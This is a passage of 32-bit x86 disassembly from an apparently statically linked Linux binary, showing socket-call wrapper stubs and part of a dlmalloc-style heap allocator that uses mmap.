804c637: 83 ec 24 sub $0x24,%esp
804c63a: 8d 44 24 20 lea 0x20(%esp),%eax
804c63e: 50 push %eax
804c63f: ff 74 24 2c pushl 0x2c(%esp)
804c643: e8 92 20 00 00 call 0x804e6da
804c648: 83 c4 10 add $0x10,%esp
804c64b: 83 ca ff or $0xffffffff,%edx
804c64e: 85 c0 test %eax,%eax
804c650: 74 04 je 0x804c656
804c652: 8b 54 24 18 mov 0x18(%esp),%edx
804c656: 89 d0 mov %edx,%eax
804c658: 83 c4 1c add $0x1c,%esp
804c65b: c3 ret
804c65c: 83 ec 24 sub $0x24,%esp
804c65f: 8b 44 24 28 mov 0x28(%esp),%eax
804c663: 89 44 24 18 mov %eax,0x18(%esp)
804c667: 8b 44 24 2c mov 0x2c(%esp),%eax
804c66b: 89 44 24 1c mov %eax,0x1c(%esp)
804c66f: 8b 44 24 30 mov 0x30(%esp),%eax
804c673: 89 44 24 20 mov %eax,0x20(%esp)
804c677: 8d 44 24 18 lea 0x18(%esp),%eax
804c67b: 50 push %eax
804c67c: 6a 02 push $0x2
804c67e: e8 4c 1a 00 00 call 0x804e0cf
804c683: 83 c4 2c add $0x2c,%esp
804c686: c3 ret
804c687: 83 ec 24 sub $0x24,%esp
804c68a: 8b 44 24 28 mov 0x28(%esp),%eax
804c68e: 89 44 24 18 mov %eax,0x18(%esp)
804c692: 8b 44 24 2c mov 0x2c(%esp),%eax
804c696: 89 44 24 1c mov %eax,0x1c(%esp)
804c69a: 8b 44 24 30 mov 0x30(%esp),%eax
804c69e: 89 44 24 20 mov %eax,0x20(%esp)
804c6a2: 8d 44 24 18 lea 0x18(%esp),%eax
804c6a6: 50 push %eax
804c6a7: 6a 03 push $0x3
804c6a9: e8 21 1a 00 00 call 0x804e0cf
804c6ae: 83 c4 2c add $0x2c,%esp
804c6b1: c3 ret
804c6b2: 83 ec 24 sub $0x24,%esp
804c6b5: 8b 44 24 28 mov 0x28(%esp),%eax
804c6b9: 89 44 24 18 mov %eax,0x18(%esp)
804c6bd: 8b 44 24 2c mov 0x2c(%esp),%eax
804c6c1: 89 44 24 1c mov %eax,0x1c(%esp)
804c6c5: 8b 44 24 30 mov 0x30(%esp),%eax
804c6c9: 89 44 24 20 mov %eax,0x20(%esp)
804c6cd: 8d 44 24 18 lea 0x18(%esp),%eax
804c6d1: 50 push %eax
804c6d2: 6a 06 push $0x6
804c6d4: e8 f6 19 00 00 call 0x804e0cf
804c6d9: 83 c4 2c add $0x2c,%esp
804c6dc: c3 ret
804c6dd: 83 ec 34 sub $0x34,%esp
804c6e0: 8b 44 24 38 mov 0x38(%esp),%eax
804c6e4: 89 44 24 20 mov %eax,0x20(%esp)
804c6e8: 8b 44 24 3c mov 0x3c(%esp),%eax
804c6ec: 89 44 24 24 mov %eax,0x24(%esp)
804c6f0: 8b 44 24 40 mov 0x40(%esp),%eax
804c6f4: 89 44 24 28 mov %eax,0x28(%esp)
804c6f8: 8b 44 24 44 mov 0x44(%esp),%eax
804c6fc: 89 44 24 2c mov %eax,0x2c(%esp)
804c700: 8b 44 24 48 mov 0x48(%esp),%eax
804c704: 89 44 24 30 mov %eax,0x30(%esp)
804c708: 8d 44 24 20 lea 0x20(%esp),%eax
804c70c: 50 push %eax
804c70d: 6a 0f push $0xf
804c70f: e8 bb 19 00 00 call 0x804e0cf
804c714: 83 c4 3c add $0x3c,%esp
804c717: c3 ret
804c718: 83 ec 24 sub $0x24,%esp
804c71b: 8b 44 24 28 mov 0x28(%esp),%eax
804c71f: 89 44 24 1c mov %eax,0x1c(%esp)
804c723: 8b 44 24 2c mov 0x2c(%esp),%eax
804c727: 89 44 24 20 mov %eax,0x20(%esp)
804c72b: 8d 44 24 1c lea 0x1c(%esp),%eax
804c72f: 50 push %eax
804c730: 6a 04 push $0x4
804c732: e8 98 19 00 00 call 0x804e0cf
804c737: 83 c4 2c add $0x2c,%esp
804c73a: c3 ret
804c73b: 83 ec 24 sub $0x24,%esp
804c73e: 8b 44 24 28 mov 0x28(%esp),%eax
804c742: 89 44 24 14 mov %eax,0x14(%esp)
804c746: 8b 44 24 2c mov 0x2c(%esp),%eax
804c74a: 89 44 24 18 mov %eax,0x18(%esp)
804c74e: 8b 44 24 30 mov 0x30(%esp),%eax
804c752: 89 44 24 1c mov %eax,0x1c(%esp)
804c756: 8b 44 24 34 mov 0x34(%esp),%eax
804c75a: 89 44 24 20 mov %eax,0x20(%esp)
804c75e: 8d 44 24 14 lea 0x14(%esp),%eax
804c762: 50 push %eax
804c763: 6a 0a push $0xa
804c765: e8 65 19 00 00 call 0x804e0cf
804c76a: 83 c4 2c add $0x2c,%esp
804c76d: c3 ret
804c76e: 83 ec 24 sub $0x24,%esp
804c771: 8b 44 24 28 mov 0x28(%esp),%eax
804c775: 89 44 24 14 mov %eax,0x14(%esp)
804c779: 8b 44 24 2c mov 0x2c(%esp),%eax
804c77d: 89 44 24 18 mov %eax,0x18(%esp)
804c781: 8b 44 24 30 mov 0x30(%esp),%eax
804c785: 89 44 24 1c mov %eax,0x1c(%esp)
804c789: 8b 44 24 34 mov 0x34(%esp),%eax
804c78d: 89 44 24 20 mov %eax,0x20(%esp)
804c791: 8d 44 24 14 lea 0x14(%esp),%eax
804c795: 50 push %eax
804c796: 6a 09 push $0x9
804c798: e8 32 19 00 00 call 0x804e0cf
804c79d: 83 c4 2c add $0x2c,%esp
804c7a0: c3 ret
804c7a1: 83 ec 34 sub $0x34,%esp
804c7a4: 8b 44 24 38 mov 0x38(%esp),%eax
804c7a8: 89 44 24 1c mov %eax,0x1c(%esp)
804c7ac: 8b 44 24 3c mov 0x3c(%esp),%eax
804c7b0: 89 44 24 20 mov %eax,0x20(%esp)
804c7b4: 8b 44 24 40 mov 0x40(%esp),%eax
804c7b8: 89 44 24 24 mov %eax,0x24(%esp)
804c7bc: 8b 44 24 44 mov 0x44(%esp),%eax
804c7c0: 89 44 24 28 mov %eax,0x28(%esp)
804c7c4: 8b 44 24 48 mov 0x48(%esp),%eax
804c7c8: 89 44 24 2c mov %eax,0x2c(%esp)
804c7cc: 8b 44 24 4c mov 0x4c(%esp),%eax
804c7d0: 89 44 24 30 mov %eax,0x30(%esp)
804c7d4: 8d 44 24 1c lea 0x1c(%esp),%eax
804c7d8: 50 push %eax
804c7d9: 6a 0b push $0xb
804c7db: e8 ef 18 00 00 call 0x804e0cf
804c7e0: 83 c4 3c add $0x3c,%esp
804c7e3: c3 ret
804c7e4: 83 ec 34 sub $0x34,%esp
804c7e7: 8b 44 24 38 mov 0x38(%esp),%eax
804c7eb: 89 44 24 20 mov %eax,0x20(%esp)
804c7ef: 8b 44 24 3c mov 0x3c(%esp),%eax
804c7f3: 89 44 24 24 mov %eax,0x24(%esp)
804c7f7: 8b 44 24 40 mov 0x40(%esp),%eax
804c7fb: 89 44 24 28 mov %eax,0x28(%esp)
804c7ff: 8b 44 24 44 mov 0x44(%esp),%eax
804c803: 89 44 24 2c mov %eax,0x2c(%esp)
804c807: 8b 44 24 48 mov 0x48(%esp),%eax
804c80b: 89 44 24 30 mov %eax,0x30(%esp)
804c80f: 8d 44 24 20 lea 0x20(%esp),%eax
804c813: 50 push %eax
804c814: 6a 0e push $0xe
804c816: e8 b4 18 00 00 call 0x804e0cf
804c81b: 83 c4 3c add $0x3c,%esp
804c81e: c3 ret
804c81f: 83 ec 24 sub $0x24,%esp
804c822: 8b 44 24 28 mov 0x28(%esp),%eax
804c826: 89 44 24 18 mov %eax,0x18(%esp)
804c82a: 8b 44 24 2c mov 0x2c(%esp),%eax
804c82e: 89 44 24 1c mov %eax,0x1c(%esp)
804c832: 8b 44 24 30 mov 0x30(%esp),%eax
804c836: 89 44 24 20 mov %eax,0x20(%esp)
804c83a: 8d 44 24 18 lea 0x18(%esp),%eax
804c83e: 50 push %eax
804c83f: 6a 01 push $0x1
804c841: e8 89 18 00 00 call 0x804e0cf
804c846: 83 c4 2c add $0x2c,%esp
804c849: c3 ret
804c84a: 89 c2 mov %eax,%edx
804c84c: 53 push %ebx
804c84d: c1 ea 08 shr $0x8,%edx
804c850: 89 c3 mov %eax,%ebx
804c852: 81 fa ff ff 00 00 cmp $0xffff,%edx
804c858: b8 5f 00 00 00 mov $0x5f,%eax
804c85d: 77 0f ja 0x804c86e
804c85f: 0f bd c2 bsr %edx,%eax
804c862: 8d 48 06 lea 0x6(%eax),%ecx
804c865: d3 eb shr %cl,%ebx
804c867: 83 e3 03 and $0x3,%ebx
804c86a: 8d 44 83 20 lea 0x20(%ebx,%eax,4),%eax
804c86e: 5b pop %ebx
804c86f: c3 ret
804c870: 55 push %ebp
804c871: 57 push %edi
804c872: 56 push %esi
804c873: 53 push %ebx
804c874: 83 ec 40 sub $0x40,%esp
804c877: 8b 5c 24 54 mov 0x54(%esp),%ebx
804c87b: 68 38 f0 04 08 push $0x804f038
804c880: 68 99 dd 04 08 push $0x804dd99
804c885: 8d 44 24 38 lea 0x38(%esp),%eax
804c889: 50 push %eax
804c88a: e8 0d 15 00 00 call 0x804dd9c
804c88f: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp)
804c896: e8 fe 14 00 00 call 0x804dd99
804c89b: 83 c4 10 add $0x10,%esp
804c89e: 83 fb df cmp $0xffffffdf,%ebx
804c8a1: 76 12 jbe 0x804c8b5
804c8a3: e8 0e fd ff ff call 0x804c5b6
804c8a8: 31 db xor %ebx,%ebx
804c8aa: c7 00 0c 00 00 00 movl $0xc,(%eax)
804c8b0: e9 25 07 00 00 jmp 0x804cfda
804c8b5: 8d 43 0b lea 0xb(%ebx),%eax
804c8b8: c7 44 24 14 10 00 00 movl $0x10,0x14(%esp)
804c8bf: 00
804c8c0: 83 f8 0f cmp $0xf,%eax
804c8c3: 76 07 jbe 0x804c8cc
804c8c5: 83 e0 f8 and $0xfffffff8,%eax
804c8c8: 89 44 24 14 mov %eax,0x14(%esp)
804c8cc: 8b 1d 40 f2 04 08 mov 0x804f240,%ebx
804c8d2: f6 c3 01 test $0x1,%bl
804c8d5: 75 1d jne 0x804c8f4
804c8d7: 85 db test %ebx,%ebx
804c8d9: 0f 85 f0 02 00 00 jne 0x804cbcf
804c8df: 83 ec 0c sub $0xc,%esp
804c8e2: 68 40 f2 04 08 push $0x804f240
804c8e7: e8 a1 0b 00 00 call 0x804d48d
804c8ec: 83 c4 10 add $0x10,%esp
804c8ef: e9 db 02 00 00 jmp 0x804cbcf
804c8f4: 39 5c 24 14 cmp %ebx,0x14(%esp)
804c8f8: 77 1b ja 0x804c915
804c8fa: 8b 44 24 14 mov 0x14(%esp),%eax
804c8fe: d1 e8 shr %eax
804c900: 8d 88 40 f2 04 08 lea 0x804f240(%eax),%ecx
804c906: 8b 51 fc mov -0x4(%ecx),%edx
804c909: 85 d2 test %edx,%edx
804c90b: 74 08 je 0x804c915
804c90d: 8b 42 08 mov 0x8(%edx),%eax
804c910: 89 41 fc mov %eax,-0x4(%ecx)
804c913: eb 39 jmp 0x804c94e
804c915: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp)
804c91c: 00
804c91d: 77 37 ja 0x804c956
804c91f: 8b 44 24 14 mov 0x14(%esp),%eax
804c923: c1 e8 03 shr $0x3,%eax
804c926: 89 44 24 24 mov %eax,0x24(%esp)
804c92a: 8d 0c c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%ecx
804c931: 8b 51 0c mov 0xc(%ecx),%edx
804c934: 39 ca cmp %ecx,%edx
804c936: 0f 84 16 01 00 00 je 0x804ca52
804c93c: 8b 5c 24 14 mov 0x14(%esp),%ebx
804c940: 8b 42 0c mov 0xc(%edx),%eax
804c943: 89 41 0c mov %eax,0xc(%ecx)
804c946: 83 4c 1a 04 01 orl $0x1,0x4(%edx,%ebx,1)
804c94b: 89 48 08 mov %ecx,0x8(%eax)
804c94e: 8d 5a 08 lea 0x8(%edx),%ebx
804c951: e9 73 06 00 00 jmp 0x804cfc9
804c956: 8b 44 24 14 mov 0x14(%esp),%eax
804c95a: e8 eb fe ff ff call 0x804c84a
804c95f: 80 e3 02 and $0x2,%bl
804c962: 89 44 24 24 mov %eax,0x24(%esp)
804c966: 0f 84 e6 00 00 00 je 0x804ca52
804c96c: 83 ec 0c sub $0xc,%esp
804c96f: 68 40 f2 04 08 push $0x804f240
804c974: e8 14 0b 00 00 call 0x804d48d
804c979: 83 c4 10 add $0x10,%esp
804c97c: e9 d1 00 00 00 jmp 0x804ca52
804c981: 8b 7d 04 mov 0x4(%ebp),%edi
804c984: 8b 55 0c mov 0xc(%ebp),%edx
804c987: 83 e7 fc and $0xfffffffc,%edi
804c98a: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp)
804c991: 00
804c992: 77 1f ja 0x804c9b3
804c994: 81 fa 74 f2 04 08 cmp $0x804f274,%edx
804c99a: 75 17 jne 0x804c9b3
804c99c: 3b 2d 70 f2 04 08 cmp 0x804f270,%ebp
804c9a2: 75 0f jne 0x804c9b3
804c9a4: 8b 44 24 14 mov 0x14(%esp),%eax
804c9a8: 83 c0 10 add $0x10,%eax
804c9ab: 39 c7 cmp %eax,%edi
804c9ad: 0f 87 b1 05 00 00 ja 0x804cf64
804c9b3: b8 74 f2 04 08 mov $0x804f274,%eax
804c9b8: 89 42 08 mov %eax,0x8(%edx)
804c9bb: 89 50 0c mov %edx,0xc(%eax)
804c9be: 3b 7c 24 14 cmp 0x14(%esp),%edi
804c9c2: 0f 84 dd 05 00 00 je 0x804cfa5
804c9c8: 81 ff ff 00 00 00 cmp $0xff,%edi
804c9ce: 77 11 ja 0x804c9e1
804c9d0: 89 fe mov %edi,%esi
804c9d2: c1 ee 03 shr $0x3,%esi
804c9d5: 8d 1c f5 6c f2 04 08 lea 0x804f26c(,%esi,8),%ebx
804c9dc: 8b 43 08 mov 0x8(%ebx),%eax
804c9df: eb 25 jmp 0x804ca06
804c9e1: 89 f8 mov %edi,%eax
804c9e3: e8 62 fe ff ff call 0x804c84a
804c9e8: 89 c6 mov %eax,%esi
804c9ea: 8d 04 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%eax
804c9f1: 8b 50 08 mov 0x8(%eax),%edx
804c9f4: 89 54 24 0c mov %edx,0xc(%esp)
804c9f8: 89 d3 mov %edx,%ebx
804c9fa: 39 c2 cmp %eax,%edx
804c9fc: 74 2c je 0x804ca2a
804c9fe: 8b 58 0c mov 0xc(%eax),%ebx
804ca01: 3b 7b 04 cmp 0x4(%ebx),%edi
804ca04: 73 06 jae 0x804ca0c
804ca06: 89 44 24 0c mov %eax,0xc(%esp)
804ca0a: eb 1e jmp 0x804ca2a
804ca0c: 89 f8 mov %edi,%eax
804ca0e: 83 c8 01 or $0x1,%eax
804ca11: eb 0b jmp 0x804ca1e
804ca13: 8b 4c 24 0c mov 0xc(%esp),%ecx
804ca17: 8b 49 08 mov 0x8(%ecx),%ecx
804ca1a: 89 4c 24 0c mov %ecx,0xc(%esp)
804ca1e: 8b 5c 24 0c mov 0xc(%esp),%ebx
804ca22: 3b 43 04 cmp 0x4(%ebx),%eax
804ca25: 72 ec jb 0x804ca13
804ca27: 8b 5b 0c mov 0xc(%ebx),%ebx
804ca2a: 89 f2 mov %esi,%edx
804ca2c: 83 e6 1f and $0x1f,%esi
804ca2f: 89 f1 mov %esi,%ecx
804ca31: b8 01 00 00 00 mov $0x1,%eax
804ca36: c1 fa 05 sar $0x5,%edx
804ca39: d3 e0 shl %cl,%eax
804ca3b: 09 04 95 74 f5 04 08 or %eax,0x804f574(,%edx,4)
804ca42: 89 5d 0c mov %ebx,0xc(%ebp)
804ca45: 8b 74 24 0c mov 0xc(%esp),%esi
804ca49: 89 75 08 mov %esi,0x8(%ebp)
804ca4c: 89 6b 08 mov %ebp,0x8(%ebx)
804ca4f: 89 6e 0c mov %ebp,0xc(%esi)
804ca52: 8b 2d 80 f2 04 08 mov 0x804f280,%ebp
804ca58: 81 fd 74 f2 04 08 cmp $0x804f274,%ebp
804ca5e: 0f 85 1d ff ff ff jne 0x804c981
804ca64: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp)
804ca6b: 00
804ca6c: 0f 86 80 00 00 00 jbe 0x804caf2
804ca72: 8b 44 24 24 mov 0x24(%esp),%eax
804ca76: 8d 14 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%edx
804ca7d: 8b 42 0c mov 0xc(%edx),%eax
804ca80: eb 6c jmp 0x804caee
804ca82: 8b 58 04 mov 0x4(%eax),%ebx
804ca85: 8b 48 0c mov 0xc(%eax),%ecx
804ca88: 83 e3 fc and $0xfffffffc,%ebx
804ca8b: 3b 5c 24 14 cmp 0x14(%esp),%ebx
804ca8f: 72 5b jb 0x804caec
804ca91: 8b 50 08 mov 0x8(%eax),%edx
804ca94: 39 42 0c cmp %eax,0xc(%edx)
804ca97: 75 05 jne 0x804ca9e
804ca99: 39 41 08 cmp %eax,0x8(%ecx)
804ca9c: 74 05 je 0x804caa3
804ca9e: e8 2e 0d 00 00 call 0x804d7d1
804caa3: 89 de mov %ebx,%esi
804caa5: 2b 74 24 14 sub 0x14(%esp),%esi
804caa9: 89 4a 0c mov %ecx,0xc(%edx)
804caac: 89 51 08 mov %edx,0x8(%ecx)
804caaf: 83 fe 0f cmp $0xf,%esi
804cab2: 8d 48 08 lea 0x8(%eax),%ecx
804cab5: 0f 86 f8 04 00 00 jbe 0x804cfb3
804cabb: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cabf: 8d 14 18 lea (%eax,%ebx,1),%edx
804cac2: 83 cb 01 or $0x1,%ebx
804cac5: 89 58 04 mov %ebx,0x4(%eax)
804cac8: 89 f0 mov %esi,%eax
804caca: 83 c8 01 or $0x1,%eax
804cacd: 89 55 08 mov %edx,0x8(%ebp)
804cad0: 89 55 0c mov %edx,0xc(%ebp)
804cad3: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx)
804cada: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx)
804cae1: 89 42 04 mov %eax,0x4(%edx)
804cae4: 89 34 32 mov %esi,(%edx,%esi,1)
804cae7: e9 cc 04 00 00 jmp 0x804cfb8
804caec: 89 c8 mov %ecx,%eax
804caee: 39 d0 cmp %edx,%eax
804caf0: 75 90 jne 0x804ca82
804caf2: 8b 4c 24 24 mov 0x24(%esp),%ecx
804caf6: be 01 00 00 00 mov $0x1,%esi
804cafb: 41 inc %ecx
804cafc: 89 cf mov %ecx,%edi
804cafe: c1 ef 05 shr $0x5,%edi
804cb01: 8d 1c cd 6c f2 04 08 lea 0x804f26c(,%ecx,8),%ebx
804cb08: 83 e1 1f and $0x1f,%ecx
804cb0b: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx
804cb12: d3 e6 shl %cl,%esi
804cb14: 39 d6 cmp %edx,%esi
804cb16: 77 04 ja 0x804cb1c
804cb18: 85 f6 test %esi,%esi
804cb1a: 75 2c jne 0x804cb48
804cb1c: 47 inc %edi
804cb1d: 83 ff 02 cmp $0x2,%edi
804cb20: 0f 87 a9 00 00 00 ja 0x804cbcf
804cb26: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx
804cb2d: 85 d2 test %edx,%edx
804cb2f: 74 eb je 0x804cb1c
804cb31: 89 f8 mov %edi,%eax
804cb33: be 01 00 00 00 mov $0x1,%esi
804cb38: c1 e0 08 shl $0x8,%eax
804cb3b: 8d 98 6c f2 04 08 lea 0x804f26c(%eax),%ebx
804cb41: eb 05 jmp 0x804cb48
804cb43: 83 c3 08 add $0x8,%ebx
804cb46: 01 f6 add %esi,%esi
804cb48: 85 f2 test %esi,%edx
804cb4a: 74 f7 je 0x804cb43
804cb4c: 8b 4b 0c mov 0xc(%ebx),%ecx
804cb4f: 39 d9 cmp %ebx,%ecx
804cb51: 75 14 jne 0x804cb67
804cb53: 89 f0 mov %esi,%eax
804cb55: 8d 59 08 lea 0x8(%ecx),%ebx
804cb58: f7 d0 not %eax
804cb5a: 21 c2 and %eax,%edx
804cb5c: 01 f6 add %esi,%esi
804cb5e: 89 14 bd 74 f5 04 08 mov %edx,0x804f574(,%edi,4)
804cb65: eb ad jmp 0x804cb14
804cb67: 8b 51 04 mov 0x4(%ecx),%edx
804cb6a: 8b 41 0c mov 0xc(%ecx),%eax
804cb6d: 83 e2 fc and $0xfffffffc,%edx
804cb70: 89 d6 mov %edx,%esi
804cb72: 2b 74 24 14 sub 0x14(%esp),%esi
804cb76: 89 43 0c mov %eax,0xc(%ebx)
804cb79: 89 58 08 mov %ebx,0x8(%eax)
804cb7c: 83 fe 0f cmp $0xf,%esi
804cb7f: 77 07 ja 0x804cb88
804cb81: 83 4c 11 04 01 orl $0x1,0x4(%ecx,%edx,1)
804cb86: eb 3f jmp 0x804cbc7
804cb88: 8b 44 24 14 mov 0x14(%esp),%eax
804cb8c: 3d ff 00 00 00 cmp $0xff,%eax
804cb91: 8d 14 01 lea (%ecx,%eax,1),%edx
804cb94: 89 55 08 mov %edx,0x8(%ebp)
804cb97: 89 55 0c mov %edx,0xc(%ebp)
804cb9a: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx)
804cba1: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx)
804cba8: 77 06 ja 0x804cbb0
804cbaa: 89 15 70 f2 04 08 mov %edx,0x804f270
804cbb0: 83 4c 24 14 01 orl $0x1,0x14(%esp)
804cbb5: 89 f0 mov %esi,%eax
804cbb7: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cbbb: 83 c8 01 or $0x1,%eax
804cbbe: 89 59 04 mov %ebx,0x4(%ecx)
804cbc1: 89 34 32 mov %esi,(%edx,%esi,1)
804cbc4: 89 42 04 mov %eax,0x4(%edx)
804cbc7: 8d 59 08 lea 0x8(%ecx),%ebx
804cbca: e9 fa 03 00 00 jmp 0x804cfc9
804cbcf: 8b 1d 6c f2 04 08 mov 0x804f26c,%ebx
804cbd5: 8b 74 24 14 mov 0x14(%esp),%esi
804cbd9: 83 c6 10 add $0x10,%esi
804cbdc: 8b 4b 04 mov 0x4(%ebx),%ecx
804cbdf: 89 74 24 10 mov %esi,0x10(%esp)
804cbe3: 83 e1 fc and $0xfffffffc,%ecx
804cbe6: 39 f1 cmp %esi,%ecx
804cbe8: 72 1c jb 0x804cc06
804cbea: 8b 44 24 14 mov 0x14(%esp),%eax
804cbee: 8d 14 03 lea (%ebx,%eax,1),%edx
804cbf1: 83 c8 01 or $0x1,%eax
804cbf4: 89 15 6c f2 04 08 mov %edx,0x804f26c
804cbfa: 89 43 04 mov %eax,0x4(%ebx)
804cbfd: 2b 4c 24 14 sub 0x14(%esp),%ecx
804cc01: e9 53 03 00 00 jmp 0x804cf59
804cc06: 8b 15 9c f5 04 08 mov 0x804f59c,%edx
804cc0c: f6 05 40 f2 04 08 02 testb $0x2,0x804f240
804cc13: 74 25 je 0x804cc3a
804cc15: 83 ec 0c sub $0xc,%esp
804cc18: 68 40 f2 04 08 push $0x804f240
804cc1d: e8 6b 08 00 00 call 0x804d48d
804cc22: 5b pop %ebx
804cc23: 8b 44 24 20 mov 0x20(%esp),%eax
804cc27: 83 e8 07 sub $0x7,%eax
804cc2a: 50 push %eax
804cc2b: e8 40 fc ff ff call 0x804c870
804cc30: 83 c4 10 add $0x10,%esp
804cc33: 89 c3 mov %eax,%ebx
804cc35: e9 8f 03 00 00 jmp 0x804cfc9
804cc3a: 8d 4a ff lea -0x1(%edx),%ecx
804cc3d: 8b 5c 24 14 mov 0x14(%esp),%ebx
804cc41: 89 4c 24 18 mov %ecx,0x18(%esp)
804cc45: 3b 1d 8c f5 04 08 cmp 0x804f58c,%ebx
804cc4b: 0f 82 b6 00 00 00 jb 0x804cd07
804cc51: a1 90 f5 04 08 mov 0x804f590,%eax
804cc56: 3b 05 94 f5 04 08 cmp 0x804f594,%eax
804cc5c: 0f 8d a5 00 00 00 jge 0x804cd07
804cc62: 89 c8 mov %ecx,%eax
804cc64: 8d 5c 1a 0a lea 0xa(%edx,%ebx,1),%ebx
804cc68: f7 d0 not %eax
804cc6a: 21 c3 and %eax,%ebx
804cc6c: 3b 5c 24 14 cmp 0x14(%esp),%ebx
804cc70: 0f 86 91 00 00 00 jbe 0x804cd07
804cc76: 51 push %ecx
804cc77: 51 push %ecx
804cc78: 6a 00 push $0x0
804cc7a: 6a 00 push $0x0
804cc7c: 6a 22 push $0x22
804cc7e: 6a 03 push $0x3
804cc80: 53 push %ebx
804cc81: 6a 00 push $0x0
804cc83: e8 2c 14 00 00 call 0x804e0b4
804cc88: 83 c4 20 add $0x20,%esp
804cc8b: 89 c2 mov %eax,%edx
804cc8d: 83 f8 ff cmp $0xffffffff,%eax
804cc90: 74 75 je 0x804cd07
804cc92: 89 c1 mov %eax,%ecx
804cc94: 83 e1 07 and $0x7,%ecx
804cc97: 74 13 je 0x804ccac
804cc99: b8 08 00 00 00 mov $0x8,%eax
804cc9e: 89 de mov %ebx,%esi
804cca0: 29 c8 sub %ecx,%eax
804cca2: 01 c2 add %eax,%edx
804cca4: 29 c6 sub %eax,%esi
804cca6: 89 02 mov %eax,(%edx)
804cca8: 89 f0 mov %esi,%eax
804ccaa: eb 08 jmp 0x804ccb4
804ccac: c7 00 00 00 00 00 movl $0x0,(%eax)
804ccb2: 89 d8 mov %ebx,%eax
804ccb4: 83 c8 02 or $0x2,%eax
804ccb7: 89 42 04 mov %eax,0x4(%edx)
804ccba: a1 90 f5 04 08 mov 0x804f590,%eax
804ccbf: 40 inc %eax
804ccc0: a3 90 f5 04 08 mov %eax,0x804f590
804ccc5: 3b 05 98 f5 04 08 cmp 0x804f598,%eax
804cccb: 7e 05 jle 0x804ccd2
804cccd: a3 98 f5 04 08 mov %eax,0x804f598
804ccd2: a1 a4 f5 04 08 mov 0x804f5a4,%eax
804ccd7: 01 d8 add %ebx,%eax
804ccd9: a3 a4 f5 04 08 mov %eax,0x804f5a4
804ccde: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax
804cce4: 76 05 jbe 0x804cceb
804cce6: a3 b0 f5 04 08 mov %eax,0x804f5b0
804cceb: 03 05 a8 f5 04 08 add 0x804f5a8,%eax
804ccf1: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax
804ccf7: 0f 86 51 fc ff ff jbe 0x804c94e
804ccfd: a3 b4 f5 04 08 mov %eax,0x804f5b4
804cd02: e9 47 fc ff ff jmp 0x804c94e
804cd07: a1 6c f2 04 08 mov 0x804f26c,%eax
804cd0c: 89 44 24 1c mov %eax,0x1c(%esp)
804cd10: 8b 68 04 mov 0x4(%eax),%ebp
804cd13: 8b 44 24 14 mov 0x14(%esp),%eax
804cd17: 83 c0 10 add $0x10,%eax
804cd1a: 83 e5 fc and $0xfffffffc,%ebp
804cd1d: 03 05 88 f5 04 08 add 0x804f588,%eax
804cd23: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0
804cd2a: 74 02 je 0x804cd2e
804cd2c: 29 e8 sub %ebp,%eax
804cd2e: 8b 54 24 18 mov 0x18(%esp),%edx
804cd32: 03 44 24 18 add 0x18(%esp),%eax
804cd36: f7 d2 not %edx
804cd38: 89 d6 mov %edx,%esi
804cd3a: 89 54 24 20 mov %edx,0x20(%esp)
804cd3e: 21 c6 and %eax,%esi
804cd40: 7e 16 jle 0x804cd58
804cd42: 83 ec 0c sub $0xc,%esp
804cd45: 56 push %esi
804cd46: e8 1a 18 00 00 call 0x804e565
804cd4b: 83 c4 10 add $0x10,%esp
804cd4e: 83 ca ff or $0xffffffff,%edx
804cd51: 89 c3 mov %eax,%ebx
804cd53: 83 f8 ff cmp $0xffffffff,%eax
804cd56: 75 56 jne 0x804cdae
804cd58: f6 05 a0 f5 04 08 01 testb $0x1,0x804f5a0
804cd5f: 74 0c je 0x804cd6d
804cd61: 8b 44 24 18 mov 0x18(%esp),%eax
804cd65: 01 e8 add %ebp,%eax
804cd67: 01 c6 add %eax,%esi
804cd69: 23 74 24 20 and 0x20(%esp),%esi
804cd6d: 81 fe ff ff 0f 00 cmp $0xfffff,%esi
804cd73: 77 05 ja 0x804cd7a
804cd75: be 00 00 10 00 mov $0x100000,%esi
804cd7a: 3b 74 24 14 cmp 0x14(%esp),%esi
804cd7e: 0f 86 38 02 00 00 jbe 0x804cfbc
804cd84: 52 push %edx
804cd85: 52 push %edx
804cd86: 6a 00 push $0x0
804cd88: 6a 00 push $0x0
804cd8a: 6a 22 push $0x22
804cd8c: 6a 03 push $0x3
804cd8e: 56 push %esi
804cd8f: 6a 00 push $0x0
804cd91: e8 1e 13 00 00 call 0x804e0b4
804cd96: 83 c4 20 add $0x20,%esp
804cd99: 89 c3 mov %eax,%ebx
804cd9b: 83 f8 ff cmp $0xffffffff,%eax
804cd9e: 0f 84 18 02 00 00 je 0x804cfbc
804cda4: 83 25 a0 f5 04 08 fe andl $0xfffffffe,0x804f5a0
804cdab: 8d 14 30 lea (%eax,%esi,1),%edx
804cdae: 83 fb ff cmp $0xffffffff,%ebx
804cdb1: 0f 84 05 02 00 00 je 0x804cfbc
804cdb7: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804cdbb: 01 35 a8 f5 04 08 add %esi,0x804f5a8
804cdc1: 01 e9 add %ebp,%ecx
804cdc3: 39 cb cmp %ecx,%ebx
804cdc5: 75 17 jne 0x804cdde
804cdc7: 83 fa ff cmp $0xffffffff,%edx
804cdca: 75 12 jne 0x804cdde
804cdcc: 8d 04 2e lea (%esi,%ebp,1),%eax
804cdcf: 8b 4c 24 1c mov 0x1c(%esp),%ecx
804cdd3: 83 c8 01 or $0x1,%eax
804cdd6: 89 41 04 mov %eax,0x4(%ecx)
804cdd9: e9 2d 01 00 00 jmp 0x804cf0b
804cdde: a1 a0 f5 04 08 mov 0x804f5a0,%eax
